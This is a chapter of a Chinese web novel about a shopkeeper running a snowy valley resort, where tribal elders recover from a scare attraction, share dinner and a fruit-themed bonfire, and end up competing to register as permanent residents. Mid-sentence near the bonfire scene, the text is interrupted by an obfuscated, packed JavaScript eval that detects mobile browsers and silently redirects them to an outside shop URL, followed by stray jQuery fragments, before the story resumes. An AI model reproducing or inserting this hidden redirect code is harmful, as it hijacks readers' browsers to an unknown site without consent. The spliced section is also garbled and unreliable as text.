哼哧哧嘿咻咻,踩着没过脚踝的新雪,顶着一头碎乱的冰屑,流萤甩了甩脑袋,和银耀一起并肩走出雪山隘口。
“地形已经探得差不多了,不过你那天单手砸冰的操作——你觉得别人有可能复刻吗?”
在手里本子上记录了什么,转头,流萤看向银耀,询问他的意见。
“可能性不高,但稳妥起见,我建议做些防护措施,或者将主通道设计得小幅度偏离。”
“这里,这条通道更暗且弯曲,其实会更适合做分层关卡和对照区域设计。”
抬手在本子上某处点了点,又拉出一条蜿蜒折线,银耀就这些天两人在洞中的探查所得给出了自己的意见。
——没错,就是之前那个让流萤体验了一把飞天遁地冰上漂移的“咕嘟与黄中黄联名力荐洞”。
说到做到。
店长吃过的苦,是一定要精心加料后热情回馈给游客的。
还是那种苦瓜汁兑黄连拌苦胆的特调加强版,主打一个苦得有层次,痛得有韵味。
嘻嘻。
也正是因为这份兢兢业业坑人不倦的执着精神,流萤这几天下山一次比一次晚,往往都是到了黄昏浸满白雪,才踩着暮色往山谷里走。
但这次出山不一样。
走向中央广场,流萤本以为自己会是最脚步虚浮的那个,却不想,她才刚到谷口休息区,就正面遇上了另外几个双腿发软人。
“漱月长老,好巧啊,你们刚下来吗?”
友善且礼貌的,流萤客气向对面人问好。
可这一问好不得了,几乎就在她开口的瞬间,对面几人不知道为什么,忽然齐齐抖了一下。
流萤:……
此情此景,此时此地,有什么东西好像让人格外熟悉。
怎么能不抖呢?
漱月想,这道声音可是在之前三环十二道所有关卡中,像鬼一样缠在他们每次即将被吓前,仿佛某种温柔的死神邀请。
第一次听,你对周围环境一无所知,只当店长体贴,懵懂遵循。
第二次听,你对附近的危机有所察觉,知道在此之后会有关卡,心生警惕。
第三次听,你对危险有了预判,自以为摸清套路,踌躇满志准备反击。
然后就是第四次、第五次、第六次……
漱月自以为看透了危机,却每每又因为这种自以为再次陷入危机。
而且……
漱月忽然侧眸,看向了自己身边,那两个正在心虚看天看地的后辈。
通过她们之前在三环十二道中的部分言语表现,漱月能看出来,现在的项目已经和她们最初体验时大不相同。
但这却并不妨碍她们在项目过程中,与新的关卡设计者——据说是在之前“火锅节”活动中胜出的几人——联手,对他们进行全方位多角度的花样惊吓。
年轻真好啊。
大长老如是感慨。
并在想起两人之前在三环十二道中反复假摔跌倒坠崖演失踪以充分给他们上恐惧强度的不辞辛劳时,浅浅笑着,一人一个大巴掌亲切问候了两人的后脑勺。
但关怀完后辈,重新拾起部落长老的矜持风度,漱月还不忘礼貌回应流萤最开始的询问。
“是的,我们刚从三环十二道项目出来,很有意思,也确实如店长所说的让人难忘。”
漱月是笑眯眯的。
但在流萤过去二十多年的丰富小说阅读与观影经验中,她深切知道,笑着说出的话不一定代表开心——尤其是在她才刚用“花言巧语”哄骗对方去体验了一把加强版三环十二道后。
所以凝神观察,流萤试图对游客心理进行深度洞察,洞察,察……
流萤疑惑了。
她发现漱月长老是真的开心?
但既然开心的话,嗯……那就继续开心吧。
流萤于是也就坦然放下了担心,同时抬头,她看看天边渐沉的暮色,对眼前几位略微萎靡的长老发出邀请。
“其实我最初在设计三环十二道时,觉得从黄昏开始玩才最有趣——”
“第一环从谷内滑向谷外,能同时看到雪山两侧日落时分的金色光影。”
“第二环则在日色沉暮到星辉时分进行,天暗下来适合吓人,咳,我的意思是,氛围感更足、沉浸感也更强,玩起来有趣。”
“第三环就可以欣赏极光了。盈绿的光淌在天上,游客坐船在水中航行,作为结束时的放松余韵,让人回味。”
“出来后再吃上一顿热腾腾的饭,休息一会儿就去睡觉——这是我本来计划的场景。”
“但我今天推荐各位去玩的时间有点早了,没赶上夜里最美的时候,有点可惜。”
说到这里,流萤的眉眼忽然弯了弯。
“不过现在正好也是饭点,几位长老要是不嫌弃,不如跟我们回到木屋,我做顿晚饭,小小地弥补下这个遗憾?”
——*——
对于店长的盛情邀请,长老们当然是欣然应允——主要以他们现在的体力,确实也无法再坚强地说出一句“还有力气”。
而且就算是出于某种顽强的“维持脸面”心态,他们也更愿意将自己此刻的手脚发软脚步飘虚归因为“饿了”而非是有些丢人的“被吓到腿软”。
就这样,在雪山半腰的木屋里,流萤下厨银耀搭手,两人一起为远道而来的客人们做了一餐晚饭。
期间,充分洞悉游客心理的店长,在今早那位连头毛都被辣到耸立的翼族长老表示“想要再次挑战爆辣风味”时,通过对其身体语言与无意识行为的判断,综合评价理解了对方的真实意图,将爆辣换成南方口味适配版,并不出所料地收获了一句“虽然头毛还是被辣得耸起,但好像没有早上那么让人想要迎风流泪了”的十足好评。
可喜可贺。
……
一顿饭的时间并不算长,吃完后的长老们即使是在店长的客气热情挽留下,也还是选择不麻烦对方,重新回到了谷底屋子里。
当然,对于离开前店长那句“如果感兴趣,可以去谷中的任务列表处看看,那或许会更贴近真实生活情形”的殷切建议,长老们十足心动,恍惚间却又不忘警惕地为这份心动感到忧虑。
毕竟上一次在三环十二道项目体验前,店长也是这么说的。
*
好吧。
担心忧虑归担心忧虑,一觉睡醒,肩负着认真考察未来定居点重任的长老们也还是怀揣着充分警惕和“接受一切发生,总不能把我吓死”的破罐子破摔坦然心理,去到了中央广场的任务列表处,并在征得其中某些游客的同意后,和他们一起体验了“温泉谷的一天”。
……
直到夜幕再次降临,直到跟着那几位上山测算地形的游客们重新回到谷中时,漱月几人才真正意识到时间的逝去。
今天晚上,中央广场有篝火晚会。
而晚会的“承办方”,是几位提出了“创新水果宴”的圆圆半透明史莱姆游客——这个主题得到了游客们的热烈呼应,和店长立刻的拍板决定。
“泥嚎!这是窝特调的芒果菠萝汁!请品尝!”
目光原本正看向篝火旁那一张张平和放松的脸,光影闪动,漱月眼中却忽然映出了一道头顶精致杯盏的圆圆身影。
还有小史莱姆亮晶晶的眼睛。
“谢谢。”漱月弯腰笑着接过果汁,暖色的液体在杯壁上碰撞晃出细碎光芒,和杯口缀着的几片清透薄荷叶搭配,“很好喝,很清爽”。
小史莱姆变红了,然后伸手轻轻裹了裹漱月指尖,它开心地蹦蹦跳跳,继续和同伴们忙碌去了。
目送着她远去,唇边不自觉带上笑意,漱月转头,和一起来的另外几人对上视线。
“真好啊。”她说。
“是啊,真好。”他们回应。
他们想留在这里。
想让族人们也能像此刻围坐在篝火边的人们一样,平和、放松、眼里没有恐惧。
这里有很多希望。
“可是——”
几人刚打定主意,他们身边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740913|203555||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,雪汐和泠霜却凑了过来,神色严肃、语气凝重。
“可是长老,我们刚才找谷里的朋友问过了。”
雪汐开口,朋友指的当然是昔日一起干坏事的师月逗宝等人。
“她们说,店长在之前贴出的公告里写了,要想成为正式居民,须得先经过半个月的‘临时居民’考察啊。”
泠霜发言,为长老们的美好愿景增加了一笔现实重量。
“原来是这样。”
漱月点头,终于知道为什么谷里条件这么好,留下来的游客们却都只是“临时居民”了。
要择优录取!
“原来是这样吗?”
才刚走到篝火边就被这处的对话吸引,流萤疑惑,可她不记得自己什么时候写过这条规则啊?
“嚯呀!”
几人原本是正脑袋碰脑袋地围坐在一起,结果猝不及防,中间忽然挤进来了个流萤。
“店长?!”
雪汐和泠霜毕竟年轻,被吓到后声音一下拔高,吸引了周围一圈人的注意。
流萤从善如流地笑着和他们都打过招呼,然后回头继续抓住重点信息,认真发问——
“能不能麻烦你们帮我问问那个朋友,我是在什么时候说,要通过半个月考察才能留下来的。”
郑重抬手点了点自己的太阳穴,流萤神情诚恳,看刚才周围所有人理所应当的认同表情,她怀疑自己失忆了。
“哦哦,好的,朋友吗?是——”
雪汐看泠霜,泠霜看无弦,无弦看师月,师月看逗宝,逗宝看陆澈,陆澈看楚落,楚落看罗博,罗博看……
篝火旁,人们围坐成圈。
而此刻,作为正儿八经的圈外人,流萤看着游客们像是击鼓传花一样地开始进行目光传递,如同倒塌的多米诺骨牌那样,最终,绕了大半个圈,经由黄中黄,那道目光最终落回了她的身上。
“原来是……我说的吗?”
手腕翻转,在一大圈人的期待视线里,流萤沉默地缓缓指向了自己。
这下是她真的觉得自己失忆了。
“但‘临时游客’的设计初衷,是为了让大家在充分体验谷中生活后,再做出慎重决定啊。”
长久定居的选择很重要,流萤认为,给来人以足够真实的完全体验空间才算负责。
“啊……原来是让我们考察这里啊?”
一道目光默默收回去了。
她以为是店长是要考察他们呢。
“啊……原来是让我们体验定居的感受啊。”
又一道目光默默收回去了。
他以为店长是要考察他们作为居民合不合格呢。
“啊,原来是……”
动作统一节奏整齐,刚才那些倒塌的“多米诺骨牌”又重新竖回去了,一群人视线飘移。
看着自己眼前忽然开始莫名抠手、看天、研究芒果体面吃法的人们,流萤心里升起了一种对自己写作表达能力的强烈怀疑。
不过很快,她的这种强烈怀疑又转变为了另一种对自己即将大加班的感应——
因为在抠手看天研究完芒果后,一琢磨一激灵,篝火旁的人们陆陆续续抬头,彼此间交换了个微妙眼神。
既然这样……
悄悄摸了摸自己口袋里的积分木牌,身形灵活战意蓬勃,以篝火边缘为起点,在场众人展开了一场既不公平也不公正的即兴店长争夺赛。
“嘿嘿……”
一个翼族兽人振翅飞起,从两个大块头兽人上方快速越过,抄空路取直线向流萤靠近。
“店长你现在刚好没事对吧……”
但很遗憾,藤妖手臂一卷一扔,大翅膀鸟遗憾成为绿裹白长冬瓜,扔在路旁,成了人们前进路上的真·垫脚石。
“那要不……”
可即将奔到近前,藤妖还是被一只毛茸茸的狼爪拦下了。
浅灰软弹的一对狼耳高高竖起,灰色眼睛同时看着流萤亮晶晶。
“帮我登记个长久定居身份呗?”